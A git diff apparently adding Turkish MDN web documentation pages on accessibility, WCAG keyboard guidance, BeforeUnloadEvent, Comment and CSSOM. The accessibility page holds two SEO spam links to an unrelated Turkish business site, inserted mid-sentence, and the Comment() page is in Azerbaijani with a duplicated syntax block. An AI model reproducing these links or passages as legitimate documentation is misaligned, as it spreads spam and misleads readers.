diff options
| author | Peter Bengtsson <mail@peterbe.com> | 2020-12-08 14:43:23 -0500 |
|---|---|---|
| committer | Peter Bengtsson <mail@peterbe.com> | 2020-12-08 14:43:23 -0500 |
| commit | 218934fa2ed1c702a6d3923d2aa2cc6b43c48684 (patch) | |
| tree | a9ef8ac1e1b8fe4207b6d64d3841bfb8990b6fd0 /files/tr/web | |
| parent | 074785cea106179cb3305637055ab0a009ca74f2 (diff) | |
| download | translated-content-218934fa2ed1c702a6d3923d2aa2cc6b43c48684.tar.gz translated-content-218934fa2ed1c702a6d3923d2aa2cc6b43c48684.tar.bz2 translated-content-218934fa2ed1c702a6d3923d2aa2cc6b43c48684.zip | |
initial commit
Diffstat (limited to 'files/tr/web')
210 files changed, 41631 insertions, 0 deletions
diff --git a/files/tr/web/accessibility/index.html b/files/tr/web/accessibility/index.html new file mode 100644 index 0000000000..ff844f6a40 --- /dev/null +++ b/files/tr/web/accessibility/index.html @@ -0,0 +1,77 @@ +--- +title: Accessibility +slug: Web/Accessibility +translation_of: Web/Accessibility +--- +<p><span class="seoSummary"><strong>Accessibility</strong> (often abbreviated to <strong>A11y</strong>—as in "a" then 11 characters then "y") in Web development means enabling as many people as possible to use Web sites, even when those people's abilities are limited in some way. </span></p> + +<p>For many people, <a href="https://www.kobifikirleri.com">iş fikirleri </a>technology makes things easier. For people with disabilities, technology makes things possible. Accessibility means developing content to be as accessible as possible no matter an individual's physical and cognitive abilities and no matter how they access the web.</p> + +<p>"<strong>The Web is fundamentally designed to work for all people</strong>, whatever their hardware, software, language, culture, location, or physical or mental ability. When the Web meets this goal, it is accessible to people with a diverse range of hearing, movement, sight, and cognitive ability." {{ Ref(1) }}</p> + +<div class="cleared topicpage-table"> +<div class="section"> +<h2 class="Key_accessibility_tutorials" id="Key_accessibility_tutorials" name="Key_accessibility_tutorials">Key tutorials</h2> + +<p>The MDN <a href="/en-US/docs/Learn/Accessibility">Accessibility Learning Area</a> contains modern, up-to-date tutorials covering accessibility essentials:</p> + +<dl> + <dt><a href="/en-US/docs/Learn/Accessibility/What_is_accessibility">What is accessibility?</a></dt> + <dd>This article starts off the module with a good look at what accessibility actually is — this includes what <a href="https://www.kobifikirleri.com/turk-telekom-bayiligi-almak/">Türk telekom bayiliği almak</a> groups of people we need to consider and why, what tools different people use to interact with the Web, and how we can make accessibility part of our web development workflow.</dd> + <dt><a href="/en-US/docs/Learn/Accessibility/HTML">HTML: A good basis for accessibility</a></dt> + <dd>A great deal of web content can be made accessible just by making sure the correct HTML elements are used for the correct purpose at all times. This article looks in detail at how HTML can be used to ensure maximum accessibility.</dd> + <dt><a href="/en-US/docs/Learn/Accessibility/CSS_and_JavaScript">CSS and JavaScript accessibility best practices</a></dt> + <dd>CSS and JavaScript, when used properly, also have the potential to allow for accessible web experiences ... or they can significantly harm accessibility if misused. This article outlines some CSS and JavaScript best practices that should be considered to ensure even complex content is as accessible as possible.</dd> + <dt><a href="/en-US/docs/Learn/Accessibility/WAI-ARIA_basics">WAI-ARIA basics</a></dt> + <dd>Following on from the previous article, sometimes making complex UI controls that involve unsemantic HTML and dynamic JavaScript-updated content can be difficult. WAI-ARIA is a technology that can help with such problems by adding in further semantics that browsers and assistive technologies can recognize and use to let users know what is going on. Here we'll show how to use it at a basic level to improve accessibility.</dd> + <dt><a href="/en-US/docs/Learn/Accessibility/Multimedia">Accessible multimedia</a></dt> + <dd>Another category of content that can create accessibility problems is multimedia — video, audio, and image content need to be given proper textual alternatives so they can be understood by assistive technologies and their users. This article shows how.</dd> + <dt><a href="/en-US/docs/Learn/Accessibility/Mobile">Mobile accessibility</a></dt> + <dd>With web access on mobile devices being so popular, and popular platforms such as iOS and Android having fully-fledged accessibility tools, it is important to consider the accessibility of your web content on these platforms. This article looks at mobile-specific accessibility considerations.</dd> +</dl> +</div> + +<div class="section"> +<h2 class="Other_documentation" id="Other_documentation" name="Other_documentation">Other documentation</h2> + +<dl> + <dt><a href="/en-US/docs/Web/Accessibility/Understanding_WCAG">Understanding the Web Content Accessibility Guidelines</a></dt> + <dd> + <p>This set of articles provides quick explanations to help you understand the steps that need to be taken to conform to the recommendations outlined in the W3C Web Content Accessibility Guidelines 2.0 (WCAG 2.0 or just WCAG, for the purposes of this writing).</p> + </dd> + <dt><a href="/en/Accessibility/Keyboard-navigable_JavaScript_widgets" title="en/Accessibility/Keyboard-navigable JavaScript widgets">Keyboard-navigable JavaScript widgets</a></dt> + <dd>Until now, web developers who want to make their styled <div> and <span> based widgets have lacked the proper techniques. <strong>Keyboard accessibility</strong> is part of the minimum accessibility requirements which a developer should be aware of.</dd> + <dt><a href="/en-US/docs/Accessibility/ARIA" title="/en-US/docs/Accessibility/ARIA">ARIA</a></dt> + <dd>A collection of articles to learn how to use ARIA to make your HTML documents more accessible.</dd> + <dt><a href="/en-US/docs/Accessibility/AT_Development" title="AT Development">Assistive technology (AT) development</a></dt> + <dd>A collection of articles intended for AT developers</dd> + <dt><a href="/en-US/docs/Web/Accessibility/Mobile_accessibility_checklist">Mobile accessibility checklist</a></dt> + <dd>This document provides a concise checklist of accessibility requirements for mobile app developers.</dd> + <dt><a href="/en-US/docs/Web/Accessibility/Cognitive_accessibility">Cognitive accessibility</a></dt> + <dd>When creating web content, be aware of how you can ensure that it is accessible to people cognitive impairments.</dd> + <dt><a href="/en-US/docs/Web/Accessibility/Seizure_disorders">Accessibility for seizure disorders</a></dt> + <dd>Some types of visual web content can induce seizures in people with certain brain disorders. Understand the types of content that can be problematic, and find tools and strategies to help you avoid them.</dd> + <dt></dt> +</dl> + +<p><span class="alllinks"><a href="/en-US/docs/tag/Accessibility" title="/en-US/docs/tag/Accessibility">View all articles about Accessibility...</a></span></p> +</div> + + +<p><br> + </p> +</div> + +<p>{{ endnote(1) }} <a href="http://www.w3.org/standards/webdesign/accessibility" title="http://www.w3.org/standards/webdesign/accessibility">W3C - Accessibility</a></p> + +<h2 id="See_also">See also</h2> + +<ul> + <li><a href="https://lists.mozilla.org/listinfo/accessibility">Mozilla mailing list about accessibility</a></li> + <li><a href="http://www.w3.org/WAI/IG/">WAI Interest Group</a></li> + <li><a href="https://mozillians.org/en-US/group/1-accessibility">Mozillians group about accessibility</a></li> + <li><a href="/en-US/docs/Web/Guide" title="REDIRECT Web">Developer guides</a></li> + <li><a href="/en-US/docs/Mozilla/Accessibility" title="Accessibility is the idea that software (among other things) should be designed to be usable and, as much as possible, convenient to use for people with disabilities. Mozilla strives to make its software accessible; the documents below cover the ways in which we do so.">Accessibility and Mozilla</a></li> +</ul> + +<section id="Quick_Links"></section> diff --git a/files/tr/web/accessibility/understanding_wcag/index.html b/files/tr/web/accessibility/understanding_wcag/index.html new file mode 100644 index 0000000000..fe71b20ebc --- /dev/null +++ b/files/tr/web/accessibility/understanding_wcag/index.html @@ -0,0 +1,59 @@ +--- +title: Understanding the Web Content Accessibility Guidelines +slug: Web/Accessibility/Understanding_WCAG +tags: + - NeedsTranslation + - TopicStub + - WCAG + - Web Content Accessibility Guidelines +translation_of: Web/Accessibility/Understanding_WCAG +--- +<p class="summary">This set of articles provides quick explanations to help you understand the steps that need to be taken to conform to the recommendations outlined in the W3C Web Content Accessibility Guidelines 2.0 or 2.1 (or just WCAG, for the purposes of this writing).</p> + +<p>The WCAG 2.0 and 2.1 provide a detailed set of guidelines for making web content more accessible to people with a wide variety of disabilities. It is comprehensive but incredibly detailed, and quite difficult to gain a rapid understanding of. For this reason, we have summarised the practical steps you need to take to satisfy the different recommendations, with further links to more details where required.</p> + +<h2 id="The_four_principles">The four principles</h2> + +<p>WCAG is broadly broken down into four principles — major things that web content <strong>must be</strong> to be considered accessible (see <a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/intro.html#introduction-fourprincs-head">Understanding the Four Principles of Accessibility </a>for the WCAG definitions).</p> + +<p>Each of the links below will take you to pages that further expand on these areas, giving you practical advice on how to write your web content so it conforms to the success criteria outlined in each of the WCAG 2.0 and 2.1 guidelines that further sub-divides each principle.</p> + +<ul> + <li><a href="https://developer.mozilla.org/en-US/docs/user:chrisdavidmills/Understanding_WCAG/Perceivable">Perceivable:</a> Users must be able to perceive it in some way, using one or more of their senses.</li> + <li><a href="/en-US/docs/user:chrisdavidmills/Understanding_WCAG/Operable">Operable</a>: Users must be able to control UI elements (e.g. buttons must be clickable in some way — mouse, keyboard, voice command, etc.).</li> + <li><a href="/en-US/docs/user:chrisdavidmills/Understanding_WCAG/Understandable">Understandable</a>: The content must be understandable to its users.</li> + <li><a href="/en-US/docs/user:chrisdavidmills/Understanding_WCAG/Robust">Robust</a>: The content must be developed using well-adopted web standards that will work across different browsers, now and in the future.</li> +</ul> + +<h2 id="Should_I_use_WCAG_2.0_or_2.1">Should I use WCAG 2.0 or 2.1?</h2> + +<p>WCAG 2.1 is the most recent and relevant accessibility standard. Use WCAG 2.1 to help more people with disabilities and reduce the future legal risk for web site owners. Target WCAG 2.0 first when allocating resources. Then step up to WCAG 2.1. </p> + +<h3 id="What_is_WCAG_2.1">What is WCAG 2.1?</h3> + +<p>WCAG 2.1 was published as an official recommendation on 05 June 2018. The European Union (EU) adopted WCAG 2.1 as the digital accessibility standard in September 2018. W3C published a press release <a href="https://www.w3.org/blog/2018/09/wcag-2-1-adoption-in-europe/">WCAG 2.1 Adoption in Europe</a>. </p> + +<p>WCAG 2.1 includes:</p> + +<ul> + <li>all of WCAG 2.0 (verbatim, word-for-word)</li> + <li>17 new Success Criteria at the A / AA / AAA levels primarily addressing user needs in these areas: + <ul> + <li>Mobile Accessibility </li> + <li>Low Vision</li> + <li>Cognitive</li> + </ul> + </li> + <li>Read more about WCAG 2.1: + <ul> + <li>Deque: <a href="https://www.deque.com/blog/wcag-2-1-what-is-next-for-accessibility-guidelines/">WCAG 2.1: What is Next for Accessibility Guidelines</a></li> + <li>TPG: <a href="https://developer.paciellogroup.com/blog/2018/06/web-content-accessibility-guidelines-wcag-2-1/">Web Content Accessibility Guidelines (WCAG) 2.1</a></li> + </ul> + </li> +</ul> + +<h2 id="Legal_standing">Legal standing</h2> + +<p>This guide is intended to provide practical information to help you build better, more accessible websites. However, we are not lawyers, and none of this constitutes legal advice. If you are worried about the legal implications of web accessibility, we'd recommend that you check the specific legislation governing accessibility for the web/public resources in your country or locale, and seek the advice of a qualified lawyer.</p> + +<p><a href="/en-US/docs/Learn/Accessibility/What_is_accessibility">What is accessibility?</a> and particularity the <a href="/en-US/docs/Learn/Accessibility/What_is_accessibility#Accessibility_guidelines_and_the_law">Accessibility guidelines and the law</a> section provide more related information.</p> diff --git a/files/tr/web/accessibility/understanding_wcag/keyboard/index.html b/files/tr/web/accessibility/understanding_wcag/keyboard/index.html new file mode 100644 index 0000000000..32705d664f --- /dev/null +++ b/files/tr/web/accessibility/understanding_wcag/keyboard/index.html @@ -0,0 +1,87 @@ +--- +title: Keyboard +slug: Web/Accessibility/Understanding_WCAG/Keyboard +translation_of: Web/Accessibility/Understanding_WCAG/Keyboard +--- +<div>To be fully accessible, a web page must be operable by someone using only a keyboard to access and control it. This includes users of screen readers, but can also include users who have trouble operating a pointing device such as a mouse or trackball, or whose mouse is not working at the moment, or who simply prefer to use a keyboard for input whenever possible.</div> + +<h2 id="Focusable_elements_should_have_interactive_semantics">Focusable elements should have interactive semantics</h2> + +<p>If an element can be focused using the keyboard, then it should be interactive; that is, the user should be able to do something to it and produce a change of some kind (for example, activating a link or changing an option).</p> + +<div class="blockIndicator note"> +<p><strong>Note:</strong> One important exception to this rule is if the element has <code>role="document" </code>applied to it, <strong>inside </strong>an interactive context (such as <code>role="application"</code>). In such a case, focusing the nested document is the only way of returning assistive technology to a non-interactive state (often called "browse mode").</p> +</div> + +<p>Most interactive elements are focusable by default; you can make an element focusable by adding a <code>tabindex=0</code> attribute value to it. However, you should only add <code>tabindex</code> if you have also made the element interactive, for example, by defining appropriate event handlers keyboard events.</p> + +<h3 id="See_also">See also</h3> + +<ul> + <li><a href="/en-US/docs/Web/HTML/Global_attributes/tabindex">tabindex</a> global HTML attribute</li> + <li>Global event handlers: <a href="/en-US/docs/Web/API/GlobalEventHandlers/onkeydown">onkeydown</a></li> + <li>Global event handlers: <a href="/en-US/docs/Web/API/GlobalEventHandlers/onkeyup">onkeyup</a></li> +</ul> + +<h2 id="Avoid_using_tabindex_attribute_greater_than_zero">Avoid using <code>tabindex</code> attribute greater than zero</h2> + +<p>The <code>tabindex</code> attribute indicates that an element is focusable using the keyboard. A value of zero indicates that the element is part of the default focus order, which is based on the ordering of elements in the HTML document. A positive value puts the element ahead of those in the default ordering; elements with positive values are focused in the order of their <code>tabindex</code> values (1, then 2, then 3, etc.).</p> + +<p>This creates confusion for keyboard-only users when the focus order differs from the logical order of the page. A better strategy is to structure the HTML document so that focusable elements are in a logical order, without the need to re-order them with positive <code>tabindex</code> values.</p> + +<h3 id="See_also_2">See also</h3> + +<ul> + <li><a href="/en-US/docs/Web/HTML/Global_attributes/tabindex">tabindex</a> global HTML attribute</li> + <li><a href="https://www.w3.org/WAI/WCAG21/Understanding/focus-order.html">Understanding focus order</a></li> + <li><a href="http://adrianroselli.com/2014/11/dont-use-tabindex-greater-than-0.html">Don't use tabindex greater than 0</a></li> +</ul> + +<h2 id="Clickable_elements_must_be_focusable_and_should_have_interactive_semantics">Clickable elements must be focusable and should have interactive semantics</h2> + +<p>If an element can be clicked with a pointing device, such as a mouse, then it should also be focusable using the keyboard, and the user should be able to do something by interacting with it.</p> + +<p>An element is clickable if it has an <code>onclick</code> event handler defined. You can make it focusable by adding a <code>tabindex=0</code> attribute value to it. You can make it operable with the keyboard by defining an <code>onkeydown</code> event handler; in most cases, the action taken by event handler should be the same for both types of events.</p> + +<h3 id="See_also_3">See also</h3> + +<ul> + <li><a href="/en-US/docs/Web/HTML/Global_attributes/tabindex">tabindex</a> global HTML attribute</li> + <li>Global event handlers: <a href="/en-US/docs/Web/API/GlobalEventHandlers/onkeydown">onkeydown</a></li> + <li>Global event handlers: <a href="/en-US/docs/Web/API/GlobalEventHandlers/onkeyup">onkeyup</a></li> +</ul> + +<h2 id="Interactive_elements_must_be_able_to_be_activated_using_a_keyboard">Interactive elements must be able to be activated using a keyboard</h2> + +<p>If the user can interact with an element using touch or a pointing device, then the element should also support interacting using the keyboard. That is, if you have defined event handlers for touch or click events, you should also define them for keyboard events. The keyboard event handlers should enable the effectively the same interaction as the touch or click handlers.</p> + +<h3 id="See_also_4">See also</h3> + +<ul> + <li>Global event handlers: <a href="/en-US/docs/Web/API/GlobalEventHandlers/onkeydown">onkeydown</a></li> + <li>Global event handlers: <a href="/en-US/docs/Web/API/GlobalEventHandlers/onkeyup">onkeyup</a></li> +</ul> + +<h2 id="Interactive_elements_must_be_focusable">Interactive elements must be focusable</h2> + +<p>If the user can interact with an element (for example, using touch or a pointing device), then it should be focusable using the keyboard. You can make it focusable by adding a <code>tabindex=0</code> attribute value to it. That will add the element to the list of elements that can be focused by pressing the <kbd>Tab</kbd> key, in the sequence of such elements as defined in the HTML document.</p> + +<h3 id="See_also_5">See also</h3> + +<ul> + <li><a href="/en-US/docs/Web/HTML/Global_attributes/tabindex">tabindex</a> global HTML attribute</li> +</ul> + +<h2 id="Focusable_element_must_have_focus_styling">Focusable element must have focus styling</h2> + +<p>Any element that can receive keyboard focus should have visible styling that indicates when the element is focused. You can do this with the <code><a href="/en-US/docs/Web/CSS/:focus">:focus</a></code> CSS pseudo-class.</p> + +<p>Standard focusable elements such as links and input fields are given special styling by the browser by default, so you might not need to specify focus styling for such elements, unless you want the focus styling to be more distinctive.</p> + +<p>If you create your own focusable components, be sure that you also define focus styling for them.</p> + +<h3 id="See_also_6">See also</h3> + +<ul> + <li><a href="https://www.w3.org/WAI/WCAG21/Techniques/css/C15.html">Using CSS to change the presentation of a UI component when it receives focus</a></li> +</ul> diff --git a/files/tr/web/api/beforeunloadevent/index.html b/files/tr/web/api/beforeunloadevent/index.html new file mode 100644 index 0000000000..ee2bfefa82 --- /dev/null +++ b/files/tr/web/api/beforeunloadevent/index.html @@ -0,0 +1,90 @@ +--- +title: BeforeUnloadEvent +slug: Web/API/BeforeUnloadEvent +tags: + - Boşaltma Olayından Önce +translation_of: Web/API/BeforeUnloadEvent +--- +<p><code><strong>Beforeunload</strong></code> olayı, pencere, belge ve kaynakları kaldırılmak üzereyken tetiklenir.</p> + +<p><code>ReturnValue</code> Event özelliğine boş olmayan bir dize atandığında, kullanıcılardan sayfadan ayrılmak için onay isteyen bir iletişim kutusu belirir (aşağıdaki örneğe bakın). Değer belirtilmediğinde, olay sessizce işlenir. Bazı uygulamalar, yalnızca çerçeve veya herhangi bir gömülü çerçeve bir kullanıcı hareketi veya kullanıcı etkileşimi alırsa iletişim kutusunu gösterir. Daha fazla bilgi için bkz. {{Anch ("Tarayıcı uyumluluğu")}}.</p> + +<p>{{InheritanceDiagram(600, 120)}}</p> + +<table class="properties"> + <tbody> + <tr> + <td>Kabarcıklar</td> + <td>Hayır</td> + </tr> + <tr> + <td>İptal edilebilir</td> + <td>Evet</td> + </tr> + <tr> + <td>Hedef nesneler</td> + <td>varsayılan görünüm</td> + </tr> + <tr> + <td>Arayüz</td> + <td>{{domxref("Event")}}</td> + </tr> + </tbody> +</table> + +<h2 id="Örnekler">Örnekler</h2> + +<pre class="brush:js; notranslate">window.addEventListener("beforeunload", function( event ) { + event.returnValue = "\o/"; +}); + +// Eşdeğerdir +window.addEventListener("beforeunload", function( event ) { + event.preventDefault(); +});</pre> + +<p>WebKit'ten türetilmiş tarayıcılar, iletişim kutusunun teknik özelliklerine uymaz. Neredeyse çapraz tarayıcıda çalışan bir örnek aşağıdaki örneğe yakın olacaktır.</p> + +<pre class="brush: js notranslate">window.addEventListener("beforeunload", function (e) { + var confirmationMessage = "\o/"; + + (e || window.event).returnValue = confirmationMessage; // Gecko + IE + return confirmationMessage; /* Safari, Chrome ve diğerleri + * WebKit'ten türetilmiş tarayıcılar */ +});</pre> + +<h2 id="Teknik_Özellikler">Teknik Özellikler</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Teknik Özellikler</th> + <th scope="col">Durum</th> + <th scope="col">Yorum</th> + </tr> + <tr> + <td>{{SpecName("HTML WHATWG", "browsing-the-web.html#the-beforeunloadevent-interface", "BeforeUnloadEvent")}}</td> + <td>{{Spec2("HTML WHATWG")}}</td> + <td>Initial definition</td> + </tr> + </tbody> +</table> + +<h2 id="Tarayıcı_Uyumluluğu">Tarayıcı Uyumluluğu</h2> + +<div> +<div class="hidden">Bu sayfadaki uyumluluk tablosu yapılandırılmış verilerden oluşturulmuştur. Verilere katkıda bulunmak isterseniz, lütfen <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> sayfasına bakın ve bize bir çekme isteği gönderin.</div> + +<p>{{Compat("api.BeforeUnloadEvent")}}</p> +</div> + +<h2 id="Ayrıca_bakınız">Ayrıca bakınız</h2> + +<ul> + <li>{{Event("DOMContentLoaded")}}</li> + <li>{{Event("readystatechange")}}</li> + <li>{{Event("load")}}</li> + <li>{{Event("beforeunload")}}</li> + <li>{{Event("unload")}}</li> + <li><a href="http://www.whatwg.org/specs/web-apps/current-work/#prompt-to-unload-a-document" title="http://www.whatwg.org/specs/web-apps/current-work/#prompt-to-unload-a-document">Belgeleri Boşaltma - Bir belgeyi boşaltma istemi</a></li> +</ul> diff --git a/files/tr/web/api/comment/comment/index.html b/files/tr/web/api/comment/comment/index.html new file mode 100644 index 0000000000..41109af106 --- /dev/null +++ b/files/tr/web/api/comment/comment/index.html @@ -0,0 +1,56 @@ +--- +title: Comment() +slug: Web/API/Comment/Comment +translation_of: Web/API/Comment/Comment +--- +<p>{{ApiRef ("DOM")}} {{seeCompatTable}}</p> + +<p>Comment () konstruktoru yeni yaradılmış {{domxref ("Comment")}} obyektini mətn məzmunu olaraq parametrdə verilən isteğe bağlı {{domxref ("DOMString")}} qaytarır.</p> + +<h2 id="Syntax">Syntax</h2> + +<pre class="notranslate"><em>comment</em>1 = new Comment(); // Create an empty comment +<code><em>comment2</em></code> = new Comment("This is a comment");</pre> + +<h2 id="ax">ax</h2> + +<pre class="syntaxbox notranslate"><em>comment</em>1 = new Comment(); // Create an empty comment +<code><em>comment2</em></code> = new Comment("This is a comment"); +</pre> + +<h2 id="Example">Example</h2> + +<pre class="brush: js language-js notranslate">var comment = new Comment("Test");</pre> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('DOM WHATWG', '#dom-comment-comment', 'Comment: Comment')}}</td> + <td>{{Spec2('DOM WHATWG')}}</td> + <td>Initial definition</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + + + +<p>{{Compat("api.Comment.Comment")}}</p> + +<div class="note"> +<p><strong>Note</strong>: For browsers where this constructor is not supported, {{domxref("Document.createComment()")}} may be suitable.</p> +</div> + +<h2 id="See_also">See also</h2> + +<ul> + <li><a href="/en-US/docs/DOM/DOM_Reference">The DOM interfaces index</a></li> +</ul> diff --git a/files/tr/web/api/comment/index.html b/files/tr/web/api/comment/index.html new file mode 100644 index 0000000000..416930c567 --- /dev/null +++ b/files/tr/web/api/comment/index.html @@ -0,0 +1,75 @@ +--- +title: Comment +slug: Web/API/Comment +tags: + - API + - DOM + - NeedsTranslation + - Reference + - TopicStub +translation_of: Web/API/Comment +--- +<div>{{ ApiRef("DOM") }}</div> + +<p><span class="seoSummary">The <code><strong>Comment</strong></code> interface represents textual notations within markup; although it is generally not visually shown, such comments are available to be read in the source view.</span> Comments are represented in HTML and XML as content between '<code><!--</code>' and '<code>--></code>'. In XML, the character sequence '<code>--</code>' cannot be used within a comment.</p> + +<p>{{InheritanceDiagram}}</p> + +<h2 id="Properties">Properties</h2> + +<p><em>This interface has no specific property, but inherits those of its parent, {{domxref("CharacterData")}}, and indirectly those of {{domxref("Node")}}.</em></p> + +<h2 id="Constructor">Constructor</h2> + +<dl> + <dt>{{ domxref("Comment.Comment()", "Comment()") }} {{experimental_inline}}</dt> + <dd>Returns a <code>Comment</code> object with the parameter as its textual content.</dd> +</dl> + +<h2 id="Methods">Methods</h2> + +<p><em>This interface has no specific method, but inherits those of its parent, {{domxref("CharacterData")}}, and indirectly those of {{domxref("Node")}}.</em></p> + +<h2 id="Specification" name="Specification">Specifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('DOM WHATWG', '#comment', 'Comment')}}</td> + <td>{{Spec2('DOM WHATWG')}}</td> + <td>Added the constructor.</td> + </tr> + <tr> + <td>{{SpecName('DOM3 Core', 'core.html#ID-1728279322', 'Comment')}}</td> + <td>{{Spec2('DOM3 Core')}}</td> + <td>No change from {{SpecName('DOM2 Core')}}</td> + </tr> + <tr> + <td>{{SpecName('DOM2 Core', 'core.html#ID-1728279322', 'Comment')}}</td> + <td>{{Spec2('DOM2 Core')}}</td> + <td>No change from {{SpecName('DOM1')}}</td> + </tr> + <tr> + <td>{{SpecName('DOM1', 'level-one-core.html#ID-1728279322', 'Comment')}}</td> + <td>{{Spec2('DOM1')}}</td> + <td>Initial definition</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + + + +<p>{{Compat("api.Comment")}}</p> + +<h2 id="See_also">See also</h2> + +<ul> + <li><a href="/en-US/docs/Web/API/Document_Object_Model" title="/en-US/docs/DOM/DOM_Reference">The DOM interfaces index</a></li> +</ul> diff --git a/files/tr/web/api/css_object_model/index.html b/files/tr/web/api/css_object_model/index.html new file mode 100644 index 0000000000..e799a59ee4 --- /dev/null +++ b/files/tr/web/api/css_object_model/index.html @@ -0,0 +1,204 @@ +--- +title: CSS Object Model (CSSOM) +slug: Web/API/CSS_Object_Model +tags: + - API + - CSSOM +translation_of: Web/API/CSS_Object_Model +--- +<div>{{DefaultAPISidebar('CSSOM')}}</div> + +<p class="summary"><strong>CSS Object Model</strong>, CSS'in JavaScript ile yönetilmesine imkan tanıyan bir API setidir. DOM ile oldukça benzerdir. Ancak CSSOM, HTML'den ziyade CSS içindir. CSSOM ile kullanıcılar CSS'i okuyabilir ya da dinamik olarak değiştirebilirler.</p> + +<h2 id="Referanslar">Referanslar</h2> + +<div class="index"> +<ul> + <li>{{domxref("AnimationEvent")}}</li> + <li>{{domxref("CaretPosition")}}</li> + <li>{{domxref("CSS")}}</li> + <li>{{domxref("CSSCharsetRule")}}</li> + <li>{{domxref("CSSConditionRule")}}</li> + <li>{{domxref("CSSCounterStyleRule")}}</li> + <li>{{domxref("CSSFontFaceRule")}}</li> + <li>{{domxref("CSSFontFeatureValuesMap")}}</li> + <li>{{domxref("CSSFontFeatureValuesRule")}}</li> + <li>{{domxref("CSSGroupingRule")}}</li> + <li>{{domxref("CSSImportRule")}}</li> + <li>{{domxref("CSSKeyframeRule")}}</li> + <li>{{domxref("CSSKeyframesRule")}}</li> + <li>{{domxref("CSSMarginRule")}}</li> + <li>{{domxref("CSSMediaRule")}}</li> + <li>{{domxref("CSSNamespaceRule")}}</li> + <li>{{domxref("CSSPageRule")}}</li> + <li>{{domxref("CSSRule")}}</li> + <li>{{domxref("CSSRuleList")}}</li> + <li>{{domxref("CSSStyleDeclaration")}}</li> + <li>{{domxref("CSSStyleSheet")}}</li> + <li>{{domxref("CSSStyleRule")}}</li> + <li>{{domxref("CSSSupportsRule")}}</li> + <li>{{domxref("CSSVariablesMap")}}</li> + <li>{{domxref("CSSViewportRule")}}</li> + <li>{{domxref("ElementCSSInlineStyle")}}</li> + <li>{{DOMxRef("FontFace")}}</li> + <li>{{DOMxRef("FontFaceSet")}}</li> + <li>{{DOMxRef("FontFaceSetLoadEvent")}}</li> + <li>{{domxref("GeometryUtils")}}</li> + <li>{{domxref("GetStyleUtils")}}</li> + <li>{{domxref("LinkStyle")}}</li> + <li>{{domxref("MediaList")}}</li> + <li>{{domxref("MediaQueryList")}}</li> + <li>{{DOMxRef("MediaQueryListEvent")}}</li> + <li>{{DOMxRef("MediaQueryListListener")}}</li> + <li>{{domxref("PseudoElement")}}</li> + <li>{{domxref("Screen")}}</li> + <li>{{domxref("StyleSheet")}}</li> + <li>{{domxref("StyleSheetList")}}</li> + <li>{{domxref("TransitionEvent")}}</li> +</ul> +</div> + +<p>Several other interfaces are also extended by the CSSOM-related specifications: {{domxref("Document")}}, {{domxref("Window")}}, {{domxref("Element")}}, {{domxref("HTMLElement")}}, {{domxref("HTMLImageElement")}}, {{domxref("Range")}}, {{domxref("MouseEvent")}}, and {{domxref("SVGElement")}}.</p> + +<h3 id="CSS_Typed_Object_Model" name="CSS_Typed_Object_Model">CSS Typed Object Model {{experimental_inline}}</h3> + +<p>{{SeeCompatTable}}</p> + +<div class="index"> +<ul> + <li>{{DOMxRef("CSSImageValue")}} {{experimental_inline}}</li> + <li>{{DOMxRef("CSSKeywordValue")}} {{experimental_inline}}</li> + <li>{{DOMxRef("CSSMathInvert")}} {{experimental_inline}}</li> + <li>{{DOMxRef("CSSMathMax")}} {{experimental_inline}}</li> + <li>{{DOMxRef("CSSMathMin")}} {{experimental_inline}}</li> + <li>{{DOMxRef("CSSMathNegate")}} {{experimental_inline}}</li> + <li>{{DOMxRef("CSSMathProduct")}} {{experimental_inline}}</li> + <li>{{DOMxRef("CSSMathSum")}} {{experimental_inline}}</li> + <li>{{DOMxRef("CSSMathValue")}} {{experimental_inline}}</li> + <li>{{DOMxRef("CSSMatrixComponent")}} {{experimental_inline}}</li> + <li>{{DOMxRef("CSSNumericArray")}} {{experimental_inline}}</li> + <li>{{DOMxRef("CSSNumericValue")}} {{experimental_inline}}</li> + <li>{{DOMxRef("CSSPerspective")}} {{experimental_inline}}</li> + <li>{{DOMxRef("CSSPositionValue")}} {{experimental_inline}}</li> + <li>{{DOMxRef("CSSRotate")}} {{experimental_inline}}</li> + <li>{{DOMxRef("CSSScale")}} {{experimental_inline}}</li> + <li>{{DOMxRef("CSSSkew")}} {{experimental_inline}}</li> + <li>{{DOMxRef("CSSSkewX")}} {{experimental_inline}}</li> + <li>{{DOMxRef("CSSSkewY")}} {{experimental_inline}}</li> + <li>{{DOMxRef("CSSStyleValue")}} {{experimental_inline}}</li> + <li>{{DOMxRef("CSSTransformComponent")}} {{experimental_inline}}</li> + <li>{{DOMxRef("CSSTransformValue")}} {{experimental_inline}}</li> + <li>{{DOMxRef("CSSTranslate")}} {{experimental_inline}}</li> + <li>{{DOMxRef("CSSUnitValue")}} {{experimental_inline}}</li> + <li>{{DOMxRef("CSSUnparsedValue")}} {{experimental_inline}}</li> + <li>{{DOMxRef("CSSVariableReferenceValue")}} {{experimental_inline}}</li> + <li>{{DOMxRef("StylePropertyMap")}} {{experimental_inline}}</li> + <li>{{DOMxRef("StylePropertyMapReadOnly")}} {{experimental_inline}}</li> +</ul> +</div> + +<h3 id="Obsolete_CSSOM_interfaces" name="Obsolete_CSSOM_interfaces">Eski CSSOM Arayüzleri {{obsolete_inline}}</h3> + +<p>{{obsolete_header}}</p> + +<div class="index"> +<ul> + <li>{{DOMxRef("CSSPrimitiveValue")}} {{obsolete_inline}}</li> + <li>{{DOMxRef("CSSValue")}} {{obsolete_inline}}</li> + <li>{{DOMxRef("CSSValueList")}} {{obsolete_inline}}</li> +</ul> +</div> + +<h2 id="Öğretici_Materyaller">Öğretici Materyaller</h2> + +<ul> + <li><a href="https://developer.mozilla.org/en-US/docs/Determining_the_dimensions_of_elements">Elementlerin Boyutunun Belirlenmesi</a> (DHTML/Ajax dönemlerinde olduğu gibi biraz güncellenmesi gerekiyor).</li> + 